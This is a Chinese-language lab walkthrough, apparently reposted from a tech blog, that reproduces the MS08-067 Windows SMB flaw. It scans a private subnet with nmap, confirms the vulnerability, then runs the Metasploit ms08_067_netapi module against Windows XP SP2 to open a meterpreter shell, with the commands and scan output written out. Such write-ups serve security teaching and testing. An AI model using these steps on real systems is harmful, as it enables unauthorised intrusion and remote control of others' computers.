MS08-067漏洞:是一種遠程程序呼叫(RPC)服務中的一個漏洞,通過SMB通道呼叫Server服務程式中的NetPathCanonicalize函式時,進行漏洞觸發,造成可被利用實施遠程代碼執行,MS08-067漏洞原理及詳盡分析程序,如飛客蠕蟲Conficker便是利用這個漏洞來入侵系統
模擬環境:
攻擊工具:kali Linux/nmap/msfconsole
目標:Windows XP SP2
一、使用nmap掃描網段內主機
命令:【nmap -sS -Pn 192.168.200.1/24】
注:-sS會使nmap執行一次隱秘的TCP掃描,以確定某個特定的TCP埠是否開放,-Pn會告知nmap不執行ping命令預先判斷目標是否存活,而是默認主機為存活,也可以嘗試使用-A選項

鎖定目標IP192.168.200.139,使用-A,nmap將會嘗試綜合掃描和深入服務列舉

通過使用埠掃描,即可獲取目標的一些資訊,關于WinXP SP2,這里選擇使用MS08-067漏洞進行漏洞復現及利用
msf6 exploit(windows/smb/ms08_067_netapi) > show targets//使用show targets可以列出受到漏洞影響的目標系統以及型別,
Exploit targets:
Id Name
-- ----
0 Automatic Targeting
1 Windows 2000 Universal
2 Windows XP SP0/SP1 Universal
3 Windows 2003 SP0 Universal
4 Windows XP SP2 English (AlwaysOn NX)
5 Windows XP SP2 English (NX)
6 Windows XP SP3 English (AlwaysOn NX)
7 Windows XP SP3 English (NX)
8 Windows XP SP2 Arabic (NX)
9 Windows XP SP2 Chinese - Traditional / Taiwan (NX)
10 Windows XP SP2 Chinese - Simplified (NX)
11 Windows XP SP2 Chinese - Traditional (NX)
12 Windows XP SP2 Czech (NX)
13 Windows XP SP2 Danish (NX)
14 Windows XP SP2 German (NX)
15 Windows XP SP2 Greek (NX)
16 Windows XP SP2 Spanish (NX)
...
二、漏洞利用(攻擊程序)
(1)想使用metasploit框架,需要啟用metasploit所依賴的postgresql資料庫
在kali Linux上啟動postgresql命令【systemctl start postgresql】

(2)開啟msf
命令【msfconsole】

(3)利用手工方式嘗試對WinsXP SP2發現MS8067漏洞
這里從metasploit中呼叫了nmap的插件--script=smb-vuln-ms08-067,-sT為一種隱秘的tcp連接掃描(-sS為一種隱秘的tcp syn掃描),-A為綜合掃描,也可以用作作業系統探測

注:剛才掃描出如下內容,在nmap的掃描結果處報告發現了MS08-067漏洞,嘗試利用模塊發起攻擊
Host script results:
| smb-vuln-ms08-067:
| VULNERABLE:
| Microsoft Windows system vulnerable to remote code execution (MS08-067)
| State: VULNERABLE
| IDs: CVE:CVE-2008-4250
| The Server service in Microsoft Windows 2000 SP4, XP SP2 and SP3, Server 2003 SP1 and SP2,
| Vista Gold and SP1, Server 2008, and 7 Pre-Beta allows remote attackers to execute arbitrary
| code via a crafted RPC request that triggers the overflow during path canonicalization.
|
| Disclosure date: 2008-10-23
| References:
| https://technet.microsoft.com/en-us/library/security/ms08-067.aspx
|_ https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-4250
Nmap done: 1 IP address (1 host up) scanned in 1.39 seconds
msf6 >
(4)metasploit框架中包含數千個模塊,如果想查找某個特定的滲透攻擊,輔助或是payloads時,使用搜索(search)即可快速定位

(5)使用exploit/windows/smb/ms08_067_netapi攻擊模塊,并show options列出運行時所需配置的各種設定
命令【use exploit/windows/smb/ms08_067_netapi】

(6)設定引數時,當Required為yes時,左邊必須配置,為no時選擇性配置

(7)設定目標地址和目標作業系統型別為4

(8)再次show options查看設定

(9)exploit

使用run或者exploit運行模塊,可以看見,彈出了meterpreter攻擊載荷會話,輸入shell命令進入目標系統的互動命令列shell中,輸入一些指令sysinfo,dir或者ipconfig對目標系統進行操作

轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/297515.html
標籤:其他
上一篇:內網安全之:Socks 隧道
